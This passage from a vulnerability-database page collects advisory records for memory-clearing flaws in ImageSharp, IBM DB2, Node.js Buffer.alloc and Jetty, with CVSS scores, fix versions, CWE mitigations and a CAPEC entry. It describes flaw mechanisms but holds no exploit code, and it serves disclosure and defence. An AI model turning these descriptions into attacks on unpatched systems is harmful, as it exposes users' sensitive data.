"modified": "2026-08-15T00:31:27Z",
"published": "2026-08-15T00:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74250"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ossa/+bug/2163017"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5X7M-6737-26CR
Vulnerability from github – Published: 2024-04-15 20:24 – Updated: 2025-01-09 18:56
VLAI
Summary
SixLabors.ImageSharp vulnerable to data leakage
Details
Impact
A data leakage flaw was found in ImageSharp's JPEG and TGA decoders. This vulnerability is triggered when an attacker passes a specially crafted JPEG or TGA image file to a software using ImageSharp, potentially disclosing sensitive information from other parts of the software in the resulting image buffer.
Patches
The problem has been patched. All users are advised to upgrade to v3.1.4 or v2.1.8.
Workarounds
None
References
None
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32036"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-226"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-15T20:24:06Z",
"nvd_published_at": "2024-04-15T20:15:11Z",
"severity": "MODERATE"
},
"details": "### Impact\nA data leakage flaw was found in ImageSharp\u0027s JPEG and TGA decoders. This vulnerability is triggered when an attacker passes a specially crafted JPEG or TGA image file to a software using ImageSharp, potentially disclosing sensitive information from other parts of the software in the resulting image buffer.\n\n### Patches\nThe problem has been patched. All users are advised to upgrade to v3.1.4 or v2.1.8.\n\n### Workarounds\nNone\n\n### References\nNone\n",
"id": "GHSA-5x7m-6737-26cr",
"modified": "2025-01-09T18:56:34Z",
"published": "2024-04-15T20:24:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-5x7m-6737-26cr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32036"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/8f0b4d3e680e78d479a88e7b1472bccd8f096d68"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/da5f09a42513489fe359578d81cec2f15ba588ba"
},
{
"type": "PACKAGE",
"url": "https://github.com/SixLabors/ImageSharp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SixLabors.ImageSharp vulnerable to data leakage"
}
GHSA-65RW-7FC7-G478
Vulnerability from github – Published: 2026-02-17 21:31 – Updated: 2026-02-17 21:31
VLAI
Details
IBM DB2 Merge Backup for Linux, UNIX and Windows 12.1.0.0 could allow an attacker to access sensitive information in memory due to the buffer not properly clearing resources.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-13108"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-17T20:22:01Z",
"severity": "MODERATE"
},
"details": "IBM DB2 Merge Backup for Linux, UNIX and Windows 12.1.0.0 could allow an attacker to access sensitive information in memory due to the buffer not properly clearing resources.",
"id": "GHSA-65rw-7fc7-g478",
"modified": "2026-02-17T21:31:14Z",
"published": "2026-02-17T21:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13108"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7260043"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6V28-C2X2-8P46
Vulnerability from github – Published: 2022-05-13 01:16 – Updated: 2026-10-09 00:30
VLAI
Details
In all versions of Node.js 10 prior to 10.9.0, an argument processing flaw can cause Buffer.alloc() to return uninitialized memory. This method is intended to be safe and only return initialized, or cleared, memory. The third argument specifying encoding can be passed as a number, this is misinterpreted by Buffer's internal "fill" method as the start to a fill operation. This flaw may be abused where Buffer.alloc() arguments are derived from user input to return uncleared memory blocks that may contain sensitive information.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2018-7166"
],
"database_specific": {
"cwe_ids": [
"CWE-226",
"CWE-908"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-21T12:29:00Z",
"severity": "HIGH"
},
"details": "In all versions of Node.js 10 prior to 10.9.0, an argument processing flaw can cause `Buffer.alloc()` to return uninitialized memory. This method is intended to be safe and only return initialized, or cleared, memory. The third argument specifying `encoding` can be passed as a number, this is misinterpreted by `Buffer\u0027s` internal \"fill\" method as the `start` to a fill operation. This flaw may be abused where `Buffer.alloc()` arguments are derived from user input to return uncleared memory blocks that may contain sensitive information.",
"id": "GHSA-6v28-c2x2-8p46",
"modified": "2026-10-09T00:30:58Z",
"published": "2022-05-13T01:16:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7166"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2553"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/august-2018-security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-86WM-RRJM-8WH8
Vulnerability from github – Published: 2020-12-02 18:28 – Updated: 2024-02-21 17:23
VLAI
Summary
Buffer not correctly recycled in Gzip Request inflation
Details
Impact
If GZIP request body inflation is enabled and requests from different clients are multiplexed onto a single connection and if an attacker can send a request with a body that is received entirely by not consumed by the application, then a subsequent request on the same connection will see that body prepended to it's body.
The attacker will not see any data, but may inject data into the body of the subsequent request
CVE score is 4.8 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L
Workarounds
The problem can be worked around by either:
- Disabling compressed request body inflation by GzipHandler.
- By always fully consuming the request content before sending a response.
- By adding a Connection: close to any response where the servlet does not fully consume request content.
Severity
4.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.4.34"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"fixed": "9.4.35.v20201120"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-27218"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": true,
"github_reviewed_at": "2020-12-02T02:25:41Z",
"nvd_published_at": "2020-11-28T01:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nIf GZIP request body inflation is enabled and requests from different clients are multiplexed onto a single connection and if an \nattacker can send a request with a body that is received entirely by not consumed by the application, then a subsequent request\non the same connection will see that body prepended to it\u0027s body.\n\nThe attacker will not see any data, but may inject data into the body of the subsequent request\n\nCVE score is [4.8 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L\u0026version=3.1)\n\n### Workarounds\nThe problem can be worked around by either:\n- Disabling compressed request body inflation by GzipHandler.\n- By always fully consuming the request content before sending a response.\n- By adding a `Connection: close` to any response where the servlet does not fully consume request content.",
"id": "GHSA-86wm-rrjm-8wh8",
"modified": "2024-02-21T17:23:12Z",
"published": "2020-12-02T18:28:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eclipse/jetty.project/security/advisories/GHSA-86wm-rrjm-8wh8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27218"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbbd003149f929b0e2fe58fb315de1658e98377225632e7e4239323fb@%3Ccommits.kafka.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbbd003149f929b0e2fe58fb315de1658e98377225632e7e4239323fb%40%3Ccommits.kafka.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rba4bca48d2cdfa8c08afc368a9cc4572ec85a5915ba29b8a194bf505@%3Creviews.spark.apache.org%3E"
},
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],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Buffer not correctly recycled in Gzip Request inflation"
}
Mitigation
Architecture and Design
Implementation
During critical state transitions, information not needed in the next state should be removed or overwritten with fixed patterns (such as all 0's) or random data, before the transition to the next state.
Mitigation
Architecture and Design
Implementation
When releasing, de-allocating, or deleting a resource, overwrite its data and relevant metadata with fixed patterns or random data. Be cautious about complex resource types whose underlying representation might be non-contiguous or change at a low level, such as how a file might be split into different chunks on a file system, even though "logical" file positions are contiguous at the application layer. Such resource types might require invocation of special modes or APIs to tell the underlying operating system to perform the necessary clearing, such as SDelete (Secure Delete) on Windows, although the appropriate functionality might not be available at the application layer.
CAPEC-37: Retrieve Embedded Sensitive Data
An attacker examines a target system to find sensitive data that has been embedded within it. This information can reveal confidential contents, such as account numbers or individual keys/credentials that can be used as an intermediate step in a larger attack.